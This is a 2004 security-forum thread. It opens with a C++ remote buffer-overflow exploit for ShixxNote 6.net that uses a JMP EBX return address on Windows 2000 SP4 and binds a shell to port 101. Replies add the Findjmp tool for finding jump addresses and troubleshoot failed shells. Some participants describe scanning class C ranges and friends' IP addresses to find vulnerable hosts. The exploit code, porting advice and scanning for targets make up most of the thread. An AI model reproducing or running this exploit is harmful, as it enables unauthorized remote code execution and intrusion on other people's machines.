ShixxNote 6.net buffer overflow exploit v0.1 Public exploit overflows only Win2K systems, else crashs. Exploit code by class101 [at] DFind.kd-team.com Bind a shellcode to the port 101.
Thanx to Luigi Auriemma(aluigi@altervista.org) for the bug discovery Thanx to HDMoore and Metasploit.com for their kickass ASM work.
Why Win2k only? After some days of debugging on it , I finally figured out how to exploit this hole, this public overflow method works only on Win2k, using the JMP EBX from comdlg32.dll from Win2k SP4 english. Because on WinXP , the register EBX points to a NULL address, this is not exploitable even if you update the JMP EBX, not exploitable VIA THIS WAY on XP I mean OK!.
How do I did then on Win2k? I overwritte EIP with a JMP EBX, EBX is a perfect register because it points directly to my buffer, but problem, it points 4 bytes only before EIP, quite short... But enough to say him to jump ~80 bytes higher. Now i have enough space to adjust my shellcode to ESI and to finally jump to it... That's why on WinXP (and maybe others , havent tested) this doesnt works because EBX isnt available. Not happy? code yours or get a pvt version;p
How do I update to Win2k SP1 Dutch for example ? Grab a JMP EBX address in comdlg32.dll from this OS and update the code.
Take a look at www.KD-Team.com, really nice peaces of code to find. Good job DiabloHorn;) Take a look at www.GovernmentSecurity.org, good public place if you ignore all lame threads ^^ and all retarded, without to name them to not add credits to their stupidity.... Greets cp, and sorry jester ....
*/
#include "winsock2.h" #include "fstream.h"
#pragma comment(lib, "ws2_32")
//BIND shellcode port 101, XORed 0x88, thanx HDMoore.
int main(int argc,char *argv[]) { ver(); if ((argc<2)||(argc>3)){usage(argv[0]);return -1;} if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;} int ip=htonl(inet_addr(argv[1])), sz, port, sizev, sizew, sizex, sizey, sizez, v, w, x, y, z; if (argc==3){port=atoi(argv[2]);} else port=2000; SOCKET s; struct fd_set mask; struct timeval timeout; struct sockaddr_in server; s=socket(AF_INET,SOCK_STREAM,0); if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;} server.sin_family=AF_INET; server.sin_addr.s_addr=htonl(ip); server.sin_port=htons(port); WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL); timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask); switch(select(s+1,NULL,&mask,NULL,&timeout)) { case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;} case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;} default: if(FD_ISSET(s,&mask)) { cout<<"[+] connected, constructing the payload..."<<endl; Sleep(1000); sizev=5; sizew=88; sizey=800-sizeof(scode); sizex=5; sizez=20; sz=sizev+sizew+sizex+sizez+sizeof(scode)+sizey; memset(payload,0,sizeof(payload)); strcat(payload,"~~"); for (v=0;v<sizev;v++){strcat(payload,"\x61");} strcat(payload,"\x66\x8b\xf3"); strcat(payload,"\x66\x83\xc6\x09"); strcat(payload,"\xff\xe6"); for (w=0;w<sizew;w++){strcat(payload,"\x61");} strcat(payload,"\xeb"); strcat(payload,"\x9d\x61\x61"); strcat(payload,jmpebxw2k); for (x=0;x<sizex;x++){strcat(payload,"\x90");} strcat(payload,scode); for (y=0;y<sizey;y++){strcat(payload,"\x61");} for (z=0;z<sizez;z++){strcat(payload,"~");} if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;} cout<<"[+] size of payload: "<<sz<<endl; cout<<"[+] payload send, connect the port 101 to get a shell."<<endl; return 0; } } closesocket(s); WSACleanup(); return 0; }
void usage(char* us) { cout<<"USAGE: 101_shixx.exe Ip Port\n"<<endl; cout<<"NOTE: "<<endl; cout<<" The port 2000 is default if no port specified."<<endl; cout<<" The exploit bind a shellcode to the port 101."<<endl; cout<<" Public version - Win2k systems only"<<endl; cout<<" Update the JMP address for another SP/Language"<<endl; return; }
Thnx installed ShixxNOTE 6.net just on my system. Gonna try it right away.
crackie
Oct 22 2004, 11:41 AM
first i wanna say THX 4 this gonna test it out and second i want to ask wich port i have to scan for.
best regards crackie
the
Oct 22 2004, 12:20 PM
nice work thx a lot dude greetz
101
Oct 22 2004, 12:33 PM
I havent tested so on NT4, 2003, Me, maybe on thos if you update the jump to ebx it works, I let you try , I just know it works perfectly on win2000 and not on XP.
BuzzDee
Oct 22 2004, 03:54 PM
hmm nice work. but how can u achieve the jump about 80 bytes higher? is it like mov eax,[esp+0x<number of bytes to jump>] ? i wonder how u only need 4 bytes ^^
btw do u know any methods how to jmp to ur shellcode if no register points to a "good" area? i mean i read about SEH but that isn't possible here or is it? coz i had the same problem on my win xp ger sp1
greetz
[edit] btw: who needs an other offset for the jmp ebx and wants to try around a bit - here is findjmp. it looks for jmps and calls which u can use (or not ;P )
CODE
/* Findjmp.c written by Ryan Permeh - ryan@eeye.com - Summarily modified by I2S-LaB.com http://www.eeye.com
This finds useful jump points in a dll. Once you overflow a buffer, by looking in the various registers, it is likely that you will find a reference to your code. This program will find addresses suitible to overwrite eip that will return to your code.
It should be easy to modify this to search for other good jump points, or specific code patterns within a dll.
It currently supports looking for: 1. jmp reg
2. call reg
3. push reg ret All three options result in the same thing, EIP being set to reg.
It also supports the following registers: EAX EBX ECX EDX ESI EDI ESP EBP */
//This finds useful jump points in a dll. Once you overflow a buffer, by //looking in the various registers, it is likely that you will find a //reference to your code. This program will find addresses of suitible //addresses of eip that will return to your code.
int main( int argc, char **argv ) {
if( argc <= 2 ) usage();
else { char dll[512], //holder for the dll to look in reg[512]; // holder for the register
HMODULE loadedDLL; //base pointer for the loaded DLL
BYTE *curpos; //current position within the DLL
DWORD regnum=GetRegNum(reg); // decimal representation of passed register
DWORD numaddr=0; //accumulator for addresses
if( regnum == -1 ) //check if register is useable { //it didn't load, time to bail printf( "There was a problem understanding the register.\n"\ "Please check that it isa correct IA32 register name\n"\ "Currently supported are:\n "\ "EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n"\ );
exit(-1); }
if( (loadedDLL=LoadLibraryA(dll)) == NULL) // check if DLL loaded correctly { //it didn't load, time to bail printf( "There was a problem Loading the requested DLL.\n"\ "Please check that it is in your path and readable\n" ); exit(-1); } else { printf( "\nScanning %s for code useable with the %s register\n", dll, reg ); //we loaded the dll correctly, time to scan it curpos=(BYTE*)loadedDLL; //set curpos at start of DLL
__try { while(1) { if( !memcmp( curpos, jmppat[regnum], 2) ) //check for jmp match { printf( "0x%X\tjmp %s\n", curpos, reg ); // we have a jmp match numaddr++; }
else if( !memcmp( curpos, callpat[regnum],2) ) //check for call match
{ printf( "0x%X\tcall %s\n", curpos, reg ); // we have a call match numaddr++; }
else if( !memcmp(curpos,pushretpat[regnum], 2) ) //check for push/ret match { printf( "0x%X\tpush %s - ret\n", curpos, reg ); // we have a pushret match numaddr++; } curpos++; } } __except(1) { printf( "Finished Scanning %s for code useable with the %s register\n", dll, reg ); printf( "Found %d usable addresses\n", numaddr ); } }
return ret; //return our decimal register number }
101
Oct 22 2004, 04:20 PM
QUOTE(BuzzDee @ Oct 22 2004, 03:54 PM)
hmm nice work. but how can u achieve the jump about 80 bytes higher? is it like mov eax,[esp+0x<number of bytes to jump>] ? i wonder how u only need 4 bytes ^^
btw do u know any methods how to jmp to ur shellcode if no register points to a "good" area? i mean i read about SEH but that isn't possible here or is it? coz i had the same problem on my win xp ger sp1
so these are the four bytes which make ur jump. is this asm code encoded to hex? if yes, whats the asm code u used? ^^
maybe i understand something wrong but the jumps weren't really clear to me, yet... lets say i want to jump to a 4 byte lower adress. this would be here in asm: mov ebx,[ebx-0x4] or not? (it puts an adress into ebx which is four byte lower than ebx now...)
and if its right how do u get to hex code? ^^ sry question sounds quite dumb but i didn't deal with that so far =)
101
Oct 22 2004, 08:04 PM
replace \xEB by \xCC (a breakpoint) and debug it in OllyDbg, you will see what I mean
BuzzDee
Oct 22 2004, 08:26 PM
errr dunno why but loading it into olly is kinda strange. the program doesnt start when i do f9. i mean it starts but i don't see the shixxnote window nor port 2000 is opened :S
Nikscap
Oct 22 2004, 08:28 PM
Hum can't connect to bindshell
explain
BuzzDee
Oct 22 2004, 08:31 PM
CODE
Hum can't connect to bindshell
explain
then ur shellcode didnt get executed... maybe u use another os? if so, read what 101 wrote
->
QUOTE
How do I update to Win2k SP1 Dutch for example ? Grab a JMP EBX address in comdlg32.dll from this OS and update the code.
XRaVeN
Oct 23 2004, 01:07 AM
nice work thx a lot dude greetz
phaeton
Oct 23 2004, 02:11 AM
do you guys also get no banner reply on port 2000 if you run it locally?
just tryin to filter out whats runnin shixxnote and what isnt
[eXPhase
Oct 23 2004, 12:53 PM
QUOTE(phaeton @ Oct 23 2004, 02:11 AM)
do you guys also get no banner reply on port 2000 if you run it locally?
just tryin to filter out whats runnin shixxnote and what isnt
I'll get a banner
CODE
***.***.***.** Responds with ICMP unreachable: No TCP ports: 2000
TCP 2000: [From Server : MESSAGE RECEIVED]
fulsik
Oct 23 2004, 01:32 PM
if i was to scan my friends ips they are running this, i should scan their ips for port 2000 yes then check it with the sl.exe and how should it turn out?
CODE
***.***.***.** Responds with ICMP unreachable: No TCP ports: 2000
TCP 2000: [From Server : MESSAGE RECEIVED]
so it should say 'message recieved' ?
also
how do i please compile this?
[eXPhase
Oct 23 2004, 02:31 PM
QUOTE(fulsik @ Oct 23 2004, 01:32 PM)
if i was to scan my friends ips they are running this, i should scan their ips for port 2000 yes then check it with the sl.exe and how should it turn out?
CODE
***.***.***.** Responds with ICMP unreachable: No TCP ports: 2000
TCP 2000: [From Server : MESSAGE RECEIVED]
so it should say 'message recieved' ?
also
how do i please compile this?
If you get this banner, you shoudl try the exploit yes.
Check out 101's site, there is also a compiled version for download.
He is delivering some nice piece of work.
But about the exploit, it crashes local so I guess it works. Haven't found any right banner yet. Just scanning sum class C ranges. Wanna see if it really works.
101
Oct 23 2004, 03:06 PM
You grab shixxnote 6.net from my site or the official and you test on a win2k sp4 english (you should update the jmp address if its on another SP or another language) you'll see it works perfectly. Tested working by me and some friends that's all.
and if it's still crash on your win2k, you didnt added correctly the jmp address and I cant do more for you ...
You grab shixxnote 6.net from my site or the official and you test on a win2k sp4 english (you should update the jmp address if its on another SP or another language) you'll see it works perfectly. Tested working by me and some friends that's all.
and if it's still crash on your win2k, you didnt added correctly the jmp address and I cant do more for you ...
bye
I'm running WinXP here so it crashes indeed. Just wanna see if I get a shell on a remote host. I try this with every exploit
fulsik
Oct 24 2004, 04:57 AM
SkitZZ when u do bnner grabbing what did you get?
asd10
Oct 24 2004, 03:25 PM
QUOTE(101 @ Oct 23 2004, 03:06 PM)
You grab shixxnote 6.net from my site or the official and you test on a win2k sp4 english (you should update the jmp address if its on another SP or another language) you'll see it works perfectly. Tested working by me and some friends that's all.
and if it's still crash on your win2k, you didnt added correctly the jmp address and I cant do more for you ...
bye
yo class101 (pnw team), maybe you can share with us the pvt exploit...
[N0N4M3]
Oct 24 2004, 04:56 PM
Good sploit. exellent. Thank you man.
Tagatown
Oct 24 2004, 05:20 PM
you can post this exploit ?
Tropek
Oct 24 2004, 05:50 PM
nice work , thx
sponge123
Oct 24 2004, 10:58 PM
i downloaded it from the official webiste... tested on win2k english sp4... not working for me... it only crashes shixxnote...
someone knows the reasons?
funy
Oct 25 2004, 01:40 AM
Read
QUOTE
You grab shixxnote 6.net from my site or the official and you test on a win2k sp4 english (you should update the jmp address if its on another SP or another language) you'll see it works perfectly. Tested working by me and some friends that's all.
and if it's still crash on your win2k, you didnt added correctly the jmp address and I cant do more for you ...
bye
QUOTE
How do I update to Win2k SP1 Dutch for example ? Grab a JMP EBX address in comdlg32.dll from this OS and update the code.
If you'dt update the code for win2k sp4 only crash and no shell .
101
Oct 25 2004, 07:17 AM
QUOTE(sponge123 @ Oct 24 2004, 10:58 PM)
i downloaded it from the official webiste... tested on win2k english sp4... not working for me... it only crashes shixxnote...
someone knows the reasons?
cos you are too noob to make it working , just forget it, bye.
I think SkitZZ didnt need an huge skill to make it working, like me an my friends, so I'll no more reply in the thread cos it start to be boring how to scan , which port to scan, doesnt works , etc ... bye...
SkitZZ
Oct 25 2004, 01:57 PM
what me huge skills yeah right thanks
SkitZZ
hellraiza
Oct 25 2004, 07:56 PM
first : nice exploit! second: I inserted the exploit and got an output of netcat with open but theres no shell I tested it on win2k an xp
help pls
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.